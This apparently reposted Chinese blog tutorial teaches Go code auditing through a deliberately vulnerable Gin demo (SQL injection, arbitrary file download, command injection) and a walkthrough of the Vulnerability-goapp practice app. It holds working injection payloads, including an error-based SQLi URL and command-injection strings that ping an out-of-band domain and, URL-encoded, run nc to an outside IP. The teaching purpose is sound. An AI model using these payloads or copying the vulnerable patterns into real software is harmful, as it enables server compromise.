Gin框架下载地址:github.com/gin-gonic/gin
mysql库下载地址:github.com/go-sql-driver/mysql
Gin框架教程地址:https://www.topgoer.cn/docs/ginkuangjia/ginkuangjia-1c50hfaag99k2
漏洞学习
SQL注入漏洞
SQL注入的生成
代码
packagemainimport("database/sql""fmt""log""net/http""github.com/gin-gonic/gin"_"github.com/go-sql-driver/mysql")vardb *sql.DB//此处的结构体需要对应数据库里面的字段typeAdmin struct{Id string`json:"id"`Usernamestring`json:"username"`Passwordstring`json:"password"`}funcinit(){//连接数据库的方法,使用init的优先级比main高,会优先执行//使用方式:"账号:密码@地址/数据库?..."conn:="root:123456@tcp(127.0.0.1:3306)/golang?charset=utf8&parseTime=true&loc=Local"varerr errordb,err =sql.Open("mysql",conn)iferr !=nil{log.Fatalln(err)}fmt.Println("连接成功")}//查询方法funcselectData(c*gin.Context){//接收一个用户传参,类似php的$_GETname:=c.Query("name")//声明一个结构体varadmin Admin//SQL注入问题,只要不过滤用户的输入,只要是拼接就会产生SQL注入问题sqlStr:=fmt.Sprintf("select* from admin where username = '%s'",name)fmt.Println(sqlStr)//此处就是将查询的结果给到上面的结构体err:=db.QueryRow(sqlStr).Scan(&admin.Id,&admin.Username,&admin.Password)iferr !=nil{fmt.Println(err)}//将结果输出c.JSON(http.StatusOK,admin)}funcmain(){//开启一个Web服务,端口8000r:=gin.Default()r.GET("/sql",selectData)r.Run(":8000")}
以上就是一个SQL注入的Demo,核心还是用户的输入导致的SQL注入问题。
http://localhost:8000/sql?name=root%27and%20updatexml(1,concat(0x7e,user(),0x7e),1)%20--%20+
看终端
在Gin框架中,使用c.String,c.JSON等的方式才能在网页中看到数据,fmt.println()这种方式只是打印到终端操作
做修改把错误信息输出到服务器
iferr != nil {c.String(http.StatusOK,err.Error())fmt.Println(err)}
预防SQL注入的方式
1、占位符
在上述代码中使用占位符,可以有效防止SQL注入。实际生成的结果是变量会被添加引号处理,不会包含有害语句
sqlStr :="select* from admin where username=?"err :=db.QueryRow(sqlStr,name).Scan(&admin.Id,&admin.Username,&admin.Password)
查看执行结果
http://localhost:8000/sql?name=root%27and%20updatexml(1,concat(0x7e,user(),0x7e),1)%20--%20+
SQL语句就会变成这样子
select* from admin where username="'andupdatexml(1,concat(0x7e,user(),0x7e),1) -- +"
2、预编译
以下就是预编译的代码
//预编译
sqlStr:= "select * from admin where username=?"stmt,err := db.Prepare(sqlStr)deferstmt.Close()rows,err := stmt.Query(name)iferr != nil {c.String(http.StatusOK,err.Error())}deferrows.Close()forrows.Next() {rows.Scan(&admin.Id,&admin.Username, &admin.Password)}
我已将错误结果输出到服务器,输入单引号之后返回的结果是没有找到数据
不同数据库中,SQL语句的占位符语法
|
数据库 |
占位符语法 |
|
MySql |
? |
|
PostgreSQL |
$1,$2 |
|
SQLite |
?和$1 |
|
Oracle |
:name |
总结:
任何时候都不要相信用户的输入,任何时候都不应该自己拼接SQL语句
任意文件下载
看代码,写了一个文件下载的方法
funcdownloadData(c*gin.Context){c.String(http.StatusOK,fmt.Sprintf("请输入要下载的文件:?file=n"))//接收用户的传参fileName:=c.Query("filename")filePath:="./"+fileName//Stat返回一个描述name指定的文件对象的FileInfo,就是文件的信息_,err :=os.Stat(filePath)iferr !=nil||os.IsNotExist(err){c.JSON(http.StatusOK,"文件不存在")}//读取文件byteBody,err :=os.ReadFile(filePath)iferr !=nil{c.JSON(http.StatusOK,gin.H{"success":false,"msg": "下载文件失败",})}c.Header("Content-Type","application/octet-stream")c.Header("Content-Disposition","attachment;filename= "+fileName)c.String(http.StatusOK,string(byteBody))}funcmain(){r:=gin.Default()r.GET("/download",downloadData)r.Run(":8000")}
Gin框架的路由都是自己设定的,就是在r.GET("/download",downloadData),想要显示的信息都在downloadData方法
输入参数可进行读取,这里找不到下载go的header,其他文件都能下载
在进行任意文件下载的时候还需要改一下文件后缀,不知道咋设置名字就是不对
命令执行
代码
这里就是给一个模板变量,将接收的内容发送到command方法
func commandData(c*gin.Context){var outInfo bytes.Buffercommand:=c.PostForm("input")//在这里会进行命令的拼接,然后进行命令执行。无过滤可导致任意命令执行cmd:=exec.Command("cmd","/C",fmt.Sprintf("ping-n 2 %s",command))cmd.Stdout=&outInfocmd.Run()c.String(http.StatusOK,outInfo.String())}func main(){r:=gin.Default()r.LoadHTMLGlob("templates/*")r.GET("/index",indexData)r.POST("/command",commandData)r.Run(":8000")}templates/index.html模板文件<html><head></head><title>Commandexecution</title><body><h2>HelloWorld!</h2><formaction="/command"method="post"><inputtype="text"name="input"value=""><inputtype="submit"value="提交"></form></body></html>
拼接命令
返回结果
以下是全部代码
package mainimport("bytes""database/sql""fmt""log""net/http""os""os/exec""github.com/gin-gonic/gin"_"github.com/go-sql-driver/mysql")vardb *sql.DBtype Admin struct{Id string`json:"id"`Username string`json:"username"`Password string`json:"password"`}func init(){conn:="root:123456@tcp(127.0.0.1:3306)/golang?charset=utf8&parseTime=true&loc=Local"var err errordb,err =sql.Open("mysql",conn)iferr !=nil{log.Fatalln(err)}fmt.Println("连接成功")}func selectData(c*gin.Context){name:=c.Query("name")var admin Admin//占位符,这种方式不会导致SQL注入的发生,实际生成的结果是变量会被添加引号处理,不会包含有害语句//sqlStr := "select * from admin where username=?"//err := db.QueryRow(sqlStr, name).Scan(&admin.Id, &admin.Username,&admin.Password)//预编译//sqlStr := "select * from admin where username=?"//stmt, err := db.Prepare(sqlStr)//defer stmt.Close()//rows, err := stmt.Query(name)//if err != nil {// c.String(http.StatusOK, err.Error())//}//defer rows.Close()//for rows.Next() {// rows.Scan(&admin.Id, &admin.Username, &admin.Password)//}//拼接sqlStr:=fmt.Sprintf("select* from admin where username = '%s'",name)fmt.Println(sqlStr)err:=db.QueryRow(sqlStr).Scan(&admin.Id,&admin.Username,&admin.Password)iferr !=nil{c.String(http.StatusOK,err.Error())fmt.Println(err)}c.JSON(http.StatusOK,admin)}funcdownloadData(c*gin.Context){c.String(http.StatusOK,fmt.Sprintf("请输入要下载的文件:?filename=n"))fileName:=c.Query("filename")filePath:="./"+fileName_,err :=os.Stat(filePath)iferr !=nil||os.IsNotExist(err){c.JSON(http.StatusOK,"文件不存在")}byteBody,err :=os.ReadFile(filePath)iferr !=nil{c.JSON(http.StatusOK,gin.H{"success":false,"msg": "下载文件失败",})}c.Header("Content-Type","application/octet-stream")c.Header("Content-Disposition","attachment;filename= "+fileName)c.String(http.StatusOK,string(byteBody))}funcindexData(c*gin.Context){c.HTML(http.StatusOK,"index.html",nil)}funccommandData(c*gin.Context){varoutInfo bytes.Buffercommand:=c.PostForm("input")cmd:=exec.Command("cmd","/C",fmt.Sprintf("ping-n 2 %s",command))cmd.Stdout=&outInfocmd.Run()c.String(http.StatusOK,outInfo.String())}funcmain(){r:=gin.Default()r.LoadHTMLGlob("templates/*")r.GET("/sql",selectData)r.GET("/download",downloadData)r.GET("/index",indexData)r.POST("/command",commandData)r.Run(":8000")}
代码审计
网上没有合适的系统来进行代码审计练习,在github找到了这套练习的源码
源码:https://github.com/Hardw01f/Vulnerability-goapp
首先看一下main.go的路由、方法、开放的端口
func main() {var portNum = flag.String("p", "80", "Specifyapplication server listeningport")flag.Parse()fmt.Println("Vulnappserver listening : " + *portNum)http.Handle("/assets/",http.StripPrefix("/assets/",http.FileServer(http.Dir("assets/"))))http.HandleFunc("/",sayYourName)http.HandleFunc("/test",test)http.HandleFunc("/login",login.Login)http.HandleFunc("/logout",logout.Logout)http.HandleFunc("/new",register.NewUserRegister)http.HandleFunc("/top",showUserTopPage)http.HandleFunc("/profile",user.ShowUserProfile)http.HandleFunc("/profile/edit",user.ShowUserModifyPage)http.HandleFunc("/profile/edit/confirm",user.ShowEditConfirm)http.HandleFunc("/profile/edit/update",user.UpdateUserDetails)http.HandleFunc("/profile/changepasswd",user.PasswdChange)http.HandleFunc("/profile/compchangepasswd",user.ConfirmPasswdChange)http.HandleFunc("/profile/edit/image",uploader.ShowImageChangePage)http.HandleFunc("/profile/edit/upload",uploader.UploadImage)http.HandleFunc("/post",post.ShowAddPostPage)http.HandleFunc("/timeline",post.ShowTimeline)http.HandleFunc("/timeline/searchpost",search.SearchPosts)http.HandleFunc("/hints",Hints)http.HandleFunc("/db",DBDetails)http.HandleFunc("/adminlogin",admin.ShowAdminLogIn)http.HandleFunc("/adminconfirm",admin.Confirm)http.HandleFunc("/adminusers",admin.ShowAdminPage)err:= http.ListenAndServe(":"+*portNum, nil)iferr != nil {log.Fatal("ListenAndServe:", err)}}
命令执行漏洞
在pkg/admin/admin.go处,存在命令执行函数exec.Command,其中commandLine是通过拼接的语句
funcGetAdminSid(adminSessionCookie string) (results string, err error){commandLine:= "mysql -h mysql -u root -prootwolf -e 'select adminsid fromvulnapp.adminsessions where adminsessionid="" +adminSessionCookie + "";'"res,err := exec.Command("sh", "-c",commandLine).Output()iferr != nil {fmt.Println(err)}results= string(res)ifresults != "" {returnresults, nil}err= xerrors.New("recode was not set")return "", err}
跟踪GetAdminSid方法谁去调用了,在此处存在调用的方法。
adminSessionCookie参数是由r.Cookie("adminSID")获取,参数可控,导致了命令执行漏洞
http.HandleFunc("/adminusers",admin.ShowAdminPage)funcShowAdminPage(w http.ResponseWriter, r *http.Request) {ifr.Method == "GET" {adminSID,err := r.Cookie("adminSID")iferr != nil {fmt.Printf("%+vn",err)}fmt.Println(adminSID.Value)adminUid,err := GetAdminSid(adminSID.Value)iferr != nil {fmt.Println("notauthentication")t,_ :=template.ParseFiles("./views/admin/failedauthentication.gtpl")t.Execute(w,nil)return}
旧版本的代码
commandLine:= "mysql -h mysql -u root -prootwolf -e 'select adminsid fromvulnapp.adminsessions where adminsessionid=" +adminSessionCookie + ";'"
命令执行,直接拼接语句即可
新版已经改为
"mysql-h mysql -u root -prootwolf -e 'select adminsid fromvulnapp.adminsessions where adminsessionid="" +adminSessionCookie + "";'"
r.Cookie不能获取Cookie中的双引号,无法进行闭合
adminSID,err := r.Cookie("adminSID")
为了演示只能修改一下源代码
在接收参数的时候进行一下URL解码
adminSIDs,_ := url.QueryUnescape(adminSID.Value)
这样就可绕过r.Cookie检测的"
POC
1"'& ping -l 484 ns1.cybertunnel.run &'"
使用ping的方式检测是否成功执行命令
看ICMP-SizeLog
下面还有几处,只是cookie不会进行url解码
uid,err := r.Cookie("UserID")iferr != nil {fmt.Println(err)}fmt.Println(uid)userName,err := r.Cookie("UserName")iferr != nil{fmt.Println(err)}fmt.Println(userName.Value)cmd:= "mysql -h mysql -u root -prootwolf -e 'selectid,name,mail,age,created_at,updated_at from vulnapp.user where namenot in ("" + userName.Value +"");'"fmt.Println(cmd)res,err := exec.Command("sh", "-c",cmd).Output()iferr != nil {fmt.Println("err: ", err)}
第二处命令执行
由于是linux命令,我就修改一下。然后找到对应的路由
http.HandleFunc("/timeline/searchpost",search.SearchPosts)funcSearchPosts(w http.ResponseWriter, r *http.Request) {ifr.Method == "POST" {searchWord:= r.FormValue("post")fmt.Println("value: ", searchWord)testStr:= "mysql -h mysql -u root -prootwolf -e 'select post,created_atfrom vulnapp.posts where post like "%" + searchWord +"%"'"fmt.Println(testStr)//testres,err := exec.Command("sh", "-c",testStr).Output()testres,err := exec.Command("cmd", "/C",testStr).Output()iferr != nil {fmt.Println(err)}
只能是POST传参
终端访问记录
Vulnappserver listening : 80value:mysql-h mysql -u root -prootwolf -e 'select post,created_at fromvulnapp.posts where post like "%%"'exitstatus 100{[]}POST=123mysql-h mysql -u root -prootwolf -e 'select post,created_at fromvulnapp.posts where post like "%123%"'exitstatus 1
直接进行拼接注入,POST请求
post=%31%32%33%25%22%27%26%20%70%69%6e%67%20%2d%6c%20%32%37%38%20%6e%73%31%2e%63%79%62%65%72%74%75%6e%6e%65%6c%2e%72%75%6e%20%26%27%22%25%20%25%22%27
终端回显
看ICMP-SizeLog
也可以尝试通过端口判定tcp反连接
post=%31%32%33%25%22%27%26%20%6e%63%20%31%32%34%2e%32%32%33%2e%32%30%32%2e%39%30%20%36%34%31%39%31%20%26%27%22%25%20%25%22%27
搜索关键字命令:exec.Command
文件上传类,在go中是危害不大的,因为他不会去解析文件,不会导致通过上传文件去控制服务器。在go中的路由都是自定义的,访问的文件都是通过模板去访问指定目录下的静态文件。
通过关键字db.Exec搜索执行SQL语句的命令,都是使用占用符,不会产生SQL注入漏洞
_,err = db.Exec("insert into adminsessions(adminsessionid)values(?)", adminSessionID)iferr != nil {fmt.Printf("%+vn",err)}
关注公众号
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
参与渗透测试培训联系
原文始发于微信公众号(moonsec):GoLang代码审计基础
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-




















评论